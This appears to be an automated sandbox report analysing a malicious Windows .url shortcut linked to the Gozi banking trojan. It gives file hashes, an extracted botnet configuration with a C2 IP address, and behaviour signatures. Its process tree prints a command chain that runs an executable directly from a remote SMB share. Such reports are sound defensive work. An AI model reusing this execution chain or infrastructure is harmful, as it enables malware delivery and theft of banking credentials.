Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2023 09:00

General

  • Target

    Azienda.url

  • Size

    191B

  • MD5

    7d41622bb8e2d0cc1e148b9d536c792b

  • SHA1

    e6c5682c27e11089d168601cd4764f038c084594

  • SHA256

    6d66bf2eb0563f2298843d23431e879c2f7d7354b15e49a8c28c915b295f95cf

  • SHA512

    1524ae1315fd5cf3c54ca3b636c1ce869edcafb789684d9761e1f0feb4e87a74ae909e76e435614715aa61b721690e943b5143613152fd2d5cd2af70052a9b40

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

193.203.162.14

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Azienda.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4724
    • \??\UNC\62.173.145.25\scarica\unito.exe
      "\\62.173.145.25\scarica\unito.exe"
      2⤵
        PID:4208

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4208-1-0x00000000023D0000-0x00000000024D0000-memory.dmp
      Filesize

      1024KB

    • memory/4208-2-0x0000000002360000-0x000000000236B000-memory.dmp
      Filesize

      44KB

    • memory/4208-3-0x0000000000400000-0x0000000002287000-memory.dmp
      Filesize

      30.5MB

    • memory/4208-4-0x0000000000400000-0x0000000002287000-memory.dmp
      Filesize

      30.5MB

    • memory/4208-5-0x0000000004140000-0x000000000414D000-memory.dmp
      Filesize

      52KB

    • memory/4208-8-0x00000000023D0000-0x00000000024D0000-memory.dmp
      Filesize

      1024KB

    • memory/4208-9-0x0000000002360000-0x000000000236B000-memory.dmp
      Filesize

      44KB

    • memory/4208-10-0x0000000000400000-0x0000000002287000-memory.dmp
      Filesize

      30.5MB